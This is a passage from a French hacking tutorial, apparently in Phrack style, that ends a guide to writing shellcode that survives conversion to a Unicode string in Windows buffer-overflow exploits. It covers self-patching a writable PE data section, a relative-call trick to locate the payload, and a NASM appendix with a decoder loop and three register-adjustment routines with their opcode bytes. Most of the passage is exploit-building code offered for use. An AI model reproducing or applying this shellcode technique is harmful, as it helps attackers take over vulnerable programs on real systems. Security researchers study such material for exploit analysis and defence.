plus simple de faire cela est de prendre par exemple la section .data du PE
( Portable Exécutable) de l'exécutable cible. C'est en général une section
assez étendue avec les Flags: Read/Write/Data.  Ainsi ce n'est pas un
problème pour une sorte d'écriture en dur d'une adresse dans cette zone.
Ainsi pour la première étape nous insérons une adresse au beau milieux de
tout çà, cela importe peu où.  (N.B : si l'un de vos registres pointe sur
un adresse valide après l'overflow, vous n'avez pas à faire tout ceci bien
évidemment) Nous supposons que l'adresse est 0x004F1200 par exemple: 

En utilisant ce que nous venons de voir, il est aisé de mettre EAX à cette
adresse: 
________________________________________________________________ 
|B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 		| 
|50 push eax 							| 
|4C dec esp 							| 
|58 pop eax ; EAX = 0x004F00?? 					| 
|B000 mov al,0x0 ; EAX = 0x004F0000 				| 
|B9001200AA mov ecx,0xAA001200 					| 
|00EC add ah,ch 						| 
| ; finallement : EAX = 0x004F1200 				| 
|_______________________________________________________________| 


Ensuite nous allons patcher cette adresse mémoire accessible en écriture
(devinez quoi) : 
________________________________________________________________ 
|pop eax 							| 
|push eax 							| 
|ret 								| 
|_______________________________________________________________| 

Code hexa du patch: [58 50 C3] 

Cela nous donnerait, après avoir appelé cette adresse, un pointeur sur
notre code dans EAX. Cela serait la fin des problèmes. Donc patchons ceci: 

Souvenez-vous que EAX contient l'adresse que nous patchons. Ce que nous
allons faire est de d'abord patcher avec 58 00 C3 00 ensuite déplacer EAX 1
octets avant, et mettre le dernier octet : 0x50 entre les deux autres.
(N.B: n'oubliez pas que les octets sont pushés dans l'ordre inverse dans la
pile) 

________________________________________________________________ 
|C7005800C300 mov dword [eax],0x00C30058 			| 
|40 inc eax 							| 
|C60050 mov byte [eax],0x50 					| 
|_______________________________________________________________| 

S'en est fini du patch. Maintenant nous devons appelons cette adresse. Je
sais que j'ai dis que nous ne pouvions pas faire de call sur n'importe
quoi, mais c'est un cas désespéré, donc nous utilisons un call relatif : 

________________________________________________________________ 
|E800??00!! call (here + 0x!!00??00) 				| 
| (**) 								| 
|_______________________________________________________________| 

Pour faire que cette méthode fonctionne, vous devez patcher la fin d'une
grande section mémoire contenant des octets nuls par exemple. Ensuite nous
pouvons appeler n'importe quelle adresse, cela se finira en exécutant notre
code de 3 octets. 

Après ce call, EAX aura l'adresse de (**), nous sommes sauvés parce que
nous avons juste besoin d'ajouter à EAX une valeur que nous pouvons
calculer car c'est juste une différence entre deux offsets de notre code.
De ce fait nous pouvons utiliser la technique précédente pour ajouter des
octets à EAX car nous voulons en ajouter moins de 0x100. Ainsi nous ne
pouvons pas faire de choses du genre {add eax,imm32}.Faisons quelque chose
d'autre: 

add dword [eax], byte 0x?? 

est la clé, car nous pouvons ajouter un octet à un dword, c'est parfait. 

EAX pointe sur (**), nous pouvons utiliser cette adresse mémoire pour fixer
une nouvelle valeur et la remettre dans EAX. Nous supposons que nous
voulons ajouter 0x00?? a EAX: 
(N.B : 0x?? ne peut pas être plus grand que 0x80 car le: 
add dword [eax], byte 0x?? 
que nous utilisons est signé, ainsi si vous fixer une grande valeur, cela
va soustraire au lien d'additionner. (Ensuite ajouter un 0x100 et ajouter
des alignements a votre code mais cela ne se produira pas étant donné que
42*2 octets n'est pas assez grand je suppose) 
________________________________________________________________ 
|0400 ad al,0x0 ; le 0x04 sera écrasé				| 
|8900 mov [eax],eax 						| 
|8300?? add dword [eax],byte 0x?? 				| 
|8B00 mov eax,[eax] 						| 
|_______________________________________________________________| 

Tout est ok, nous pouvons pousser EAX à pointer exactement sur le premier
octet nul de notre code de boucle comme nous le souhaitons.  Nous avons
juste besoin de calculer 0x00?? (comptez juste le nombre d'octets incluant
des octets nuls entre le code de la boucle et le call et vous trouverez
0x5A) 



--[ 6 - Conclusion 

Finalement, nous pouvons réaliser un unishellcode, qui ne sera pas altéré
après une conversion en chaîne unicode.  J'attends d'autre idées ou
techniques pour réaliser ceci, je suis sur qu'il y a une foule de choses
auxquelles je n'ai pas penséés. 


Merci à : 
- Le compilateur NASM et le désambleur (J'aime son style=) 
- Datarescue IDA 
- Numega SoftIce 
- Intel et ses processeurs 

Documentation : 
- http://www.intel.com pour la doc. assembleur Intel officielle 


Greetings : 
- rix, pour nous montrer de bien jolies choses dans ses articles 
- Tomripley, qui m'a toujours aidé quand j'avais besoin de lui! 



--| 7 - Appendice : Le code 


A des fins de testes, je vous donne quelque lignes de code pour vous amuser
(syntaxe NASM).Ce n'est pas vraiment un exemple de code, mais j'ai
rassemblé tous mes exemples de façon à ce que vous n'ayez pas à regarder
partout dans mon texte de messy pour trouver ce dont vous avez besoin... 

- main.asm ---------------------------------------------------------------- 
%include "\Nasm\include\language.inc" 

[global main] 

segment .code public use32 
..start: 

; ********************************************* 
; * En supposant que EAX pointe sur (*) (voir ci-dessous) * 
; ********************************************* 

; 
; fixer EBX à 0x00000000 et ECX à 0x00000500 
; 
push byte 00 ; 6A00 
push byte 00 ; 6A00 
pop ebx ; 5D 
add [ebp+0x0],al ; 004500 
pop ecx ; 59 
add [ebp+0x0],al ; 004500 
mov edx,0x41000500 ; BA00050041 
add ch,dh ; 00F5 


; 
; mettre en place le code de la boucle 
; 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x8A ; C6008A 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x58 ; C60058 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x14 ; C60014 
add [ebp+0x0],al ; 004500 

inc eax ; 40 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0xE2 ; C600E2 
add [ebp+0x0],al ; 004500 
inc eax ; 40 
add [ebp+0x0],al ; 004500 

; 
; Code de la boucle 
; 

db 0x43 
db 0x00 ;0x8A (*) 
db 0x14 
db 0x00 ;0x58 
db 0x88 
db 0x00 ;0x14 
db 0x18 
db 0x00 ;0xE2 
db 0xF7 

; < Copiez votre shellcode 'unicode' ici > 

-EOF----------------------------------------------------------------------- 

Ensuite les 3 méthodes pour faire que EAX pointe sur le code choisi. 
(N.B : Le code 'principal' est long de 42*2 = 84 octets) 

- methode1.asm ------------------------------------------------------------ 
; ********************************************* 
; * Ajuste EAX (+ 0xXXYY octets) * 
; ********************************************* 

; N.B : 0xXX != 0x00 

add eax,0x0100XX00 ; 0500XX0001 
add [ebp+0x0],al ; 004500 
add eax,0xFF000100 ; 05000100FF 
add [ebp+0x0],al ; 004500 

; nous avons ajoutté 0x(XX+1)00 à EAX 

; en utilisant : add al,0x0 en tant qu'instruction NOP : 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
; [...] <-- (0x100 - 0xYY) /2 fois 
add al,0x0 ; 0400 
add al,0x0 ; 0400 
add al,0x0 ; 0400 

; (N.B) si 0xYY est ajouté alors ajouter un : 
dec eax ; 48 
add [ebp+0x0],al ; 004500 
-EOF----------------------------------------------------------------------- 



- methode2.asm ------------------------------------------------------------ 
; ********************************************* 
; * Basiquement : POPset XCHG * 
; ********************************************* 

popad ; 61 
add [ebp+0x0],al ; 004500 
xchg eax, ? ; 1 octet non-nul (cherchez ce qu'il faut faire ici) 
add [ebp+0x0],al ; 004500 

; recommencer si ncessaire, ensuite utiliser la méthode 1 pour faire 
que tout marche 
-EOF----------------------------------------------------------------------- 



- methode3.asm ------------------------------------------------------------ 
; ********************************************* 
; * En utilisant un CALL * 
; ********************************************* 

; Obtenir l'adresse voulue 

mov eax,0xAA00??00 ; B800??00AA 
add [ebp+0x0],al ; 004500 
push eax ; 50 
add [ebp+0x0],al ; 004500 
dec esp ; 4C 
add [ebp+0x0],al ; 004500 
pop eax ; 58 
add [ebp+0x0],al ; 004500 
mov al,0x0 ; B000 
mov ecx,0xAA00!!00 ; B900!!00AA 
add ah,ch ; 00EC 
add [ebp+0x0],al ; 004500 

; EAX = 0x00??!!00 

; un patch horrible, je suis bien daccord 
mov dword [eax],0x00C30058 ; C7005800C300 
inc eax ; 40 
add [ebp+0x0],al ; 004500 
mov byte [eax],0x50 ; C60050 
add [ebp+0x0],al ; 004500 

;priez puis faites le call 

call 0x???????? ; E800!!00?? 

add [ebp+0x0],al ; 004500 

;ensuite ajouter 90d = 0x5A à EAX (pour atteindre (*), où se trouve le code de la boucle) 
; cas où 0xXX = 0x00 donc nous ne pouvons pas utiliser la méthode1 

add al,0x0 ; 0400 car nous patchons a l'adresse [eax] 

mov [eax],eax ; 8900 
add dword [eax],byte 0x5A ; 83005A 
add [ebp+0x0],al ; 004500 
mov eax,[eax] ; 8B00 

; EAX pointe sur le premier octet nul de notre code de boucle 


|=[ EOF ]=---------------------------------------------------------------=|
